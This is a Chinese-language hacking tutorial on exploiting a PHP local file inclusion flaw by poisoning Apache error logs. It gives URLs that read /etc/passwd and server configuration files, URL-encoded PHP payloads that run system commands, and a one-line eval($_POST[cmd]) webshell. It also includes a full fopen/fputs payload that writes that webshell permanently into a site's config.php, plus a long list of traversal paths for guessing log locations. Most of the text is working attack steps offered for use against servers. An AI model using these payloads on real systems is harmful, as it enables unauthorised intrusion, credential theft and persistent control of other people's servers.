关于php包含Apache日志的利用,其实也就是利用提交的网址里有php语句，然后再被Apache服务器的日志记录，然后php再去包含执行，从而包含了去执行。当然，这种办法最大的弊端是Apache日志肯定会过大，回应的时候当然会超时什么的，所以也是受条件限制的。全当一种研究算了。下面是我的测试过程，我觉得很有意思，你也 看看。 比如说，在一个php存在包含 漏洞就像这样,存在一句php包含漏洞的语句 <? include($zizzy); ?>   //包含变量$zizzy 你可以 http://xxx.com/z.php?zizzy=/etc/inetd.conf http://xxx.com/z.php?zizzy=/proc/cpuinfo http://xxx.com/z.php?zizzy=/etc/passwd 就可以利用包含语句来查看一些 系统环境和密码档文件。 那么关于日志包含下面我们来看： 比如我们的Apache的 服务器配置文件位置在这里 /usr/local/apache/conf/httpd.conf 那么我们来包含一下httpd.conf，来看下路径信息什么的 http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf 读出Apache的配置信息，这里列出部分信息。 <VirtualHost 218.63.89.2> User #3 Group silver ServerAdmin webmaster@xxx.com DocumentRoot /home/virtual/www.xxx.com ServerName www.xxx.com ServerAlias xxx.com ErrorLog /home/virtual/www.xxx.com/logs/www-error_log CustomLog /home/virtual/www.xxx.com/logs/www-access_log common ScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/ Alias /icons/ /home/virtual/www.xxx.com/icons </VirtualHost> 而我们提交http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log 就可以读出Apache的错误日志记录 [Mon Jan 22 14:01:16 2005] [error] [client 218.63.194.76] File does not exist: /home/virtual/www.xxx.com/hack.php [Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does not exist: /home/virtual/www.xxx.com/111111111.php [Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does not exist: /home/virtual/www.xxx.com/22222.php3 [Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke directory as script: /home/virtual/www.xxx.com/forum [Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke directory as script: /home/virtual/www.xxx.com/blog [Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke directory as script: /home/virtual/www.xxx.com/kkkkkkkk 而 数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的，一样可以读出来，只不过文件会很大，那也没意思测试下去了，那怎么利用呢。 比如我们提交要提交这句，<?phpinfo();?> //查看php的相关信息 在这里，我们只能提交URL编码模式，因为我在测试中发现，<?的标记并不被记录，只有转换成URL编码提交才会被完整记录。 在这里<%3Fphpinfo%28%29%3B%3F>这句就是转换过了的<?phpinfo();?>，我们提交 http://www.xxx.com/<%3Fphpinfo%28%29%3B%3F> 这样肯定会报出错找不到页面，而一出错就被记在错误日志里了 http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log 这样这个日志文件就被包含成了phpinfo的信息，而回显也就成了一个显示php信息的页面。 如果可以的话（能够执行系统命令，也就是safe_mode开着的时候）， 这样子也不错， <?system("ls+-la+/home");?>   //执行命令列出home下的文件列表，记得转换为URL格式哦。 /home/ total 9 -rw-r--r--   1 www.xxx.com   silver       55 Jan 20 23:01 about.php drwxrwxrwx   4 www.xxx.com   silver     4096 Jan 21 06:07 abc -rw-r--r--   1 www.xxx.com   silver     1438 Dec 3 07:39 index.php -rwxrwxrwx   1 www.xxx.com   silver     5709 Jan 21 20:05 show.php   -rw-r--r--   1 www.xxx.com   silver     5936 Jan 18 01:37 admin.php -rwxrwxrwx   1 www.xxx.com   silver     5183 Jan 18 15:30 config.php3 -rw-rw-rw-   1 www.xxx.com   silver   102229 Jan 21 23:18 info.txt drwxr-xr-x   2 www.xxx.com   silver     4096 Jan 8 16:03 backup -rw-r--r--   1 www.xxx.com   silver     7024 Dec 4 03:07 test.php 这样就列出了home下的文件 或者直接一句话木马<?eval($_POST[cmd]);?>， 这样转换后就是<%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F> 这样的格式。 我们提交 http://www.xxx.com/<%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F> 再用lanker的一句话木马 客户端一连就OK了。 因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 比如还是这句一句话木马 <?eval($_POST[cmd]);?>   到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句， fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 <?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); fclose($fp);?>   //在config.php里写入一句木马语句 我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。 转换为 <%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp %2C%22<%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F>%22%29%3B fclose%28%24fp%29%3B%3F> 我们提交 http://xxx.com/<%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww %2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp %22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22<%3Feval%28%24%5FPOST%5B cmd%5D%29%3B%3F>%22%29%3Bfclose%28%24fp%29%3B%3F> 这样就错误日志里就记录下了这行写入webshell的代码。 我们再来包含日志，提交 http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log 这样webshell就写入成功了，config.php里就写入一句木马语句 OK. http://www.xxx.com/forum/config.php这个就成了我们的webshell 直接用lanker的客户端一连，主机就是你的了。 PS:上面讲的，前提是文件夹 权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 其他的日志路径，你可以去猜，也可以参照这里。 附：收集的一些日志路径 ../../../../../../../../../../var/log/httpd/access_log ../../../../../../../../../../var/log/httpd/error_log ../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../../../../../../../etc/httpd/logs/acces_log ../../../../../../../../../../etc/httpd/logs/acces.log ../../../../../../../../../../etc/httpd/logs/error_log ../../../../../../../../../../etc/httpd/logs/error.log ../../../../../../../../../../var/www/logs/access_log ../../../../../../../../../../var/www/logs/access.log ../../../../../../../../../../usr/local/apache/logs/access_log ../../../../../../../../../../usr/local/apache/logs/access.log ../../../../../../../../../../var/log/apache/access_log ../../../../../../../../../../var/log/apache/access.log ../../../../../../../../../../var/log/access_log ../../../../../../../../../../var/www/logs/error_log ../../../../../../../../../../var/www/logs/error.log ../../../../../../../../../../usr/local/apache/logs/error_log ../../../../../../../../../../usr/local/apache/logs/error.log ../../../../../../../../../../var/log/apache/error_log ../../../../../../../../../../var/log/apache/error.log ../../../../../../../../../../var/log/access_log ../../../../../../../../../../var/log/error_log /var/log/httpd/access_log       /var/log/httpd/error_log     ../apache/logs/error.log     ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log /etc/httpd/logs/acces_log /etc/httpd/logs/acces.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /var/www/logs/access_log /var/www/logs/access.log /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /var/log/apache/access_log /var/log/apache/access.log /var/log/access_log /var/www/logs/error_log /var/www/logs/error.log /usr/local/apache/logs/error_log /usr/local/apache/logs/error.log /var/log/apache/error_log /var/log/apache/error.log /var/log/access_log /var/log/error_log
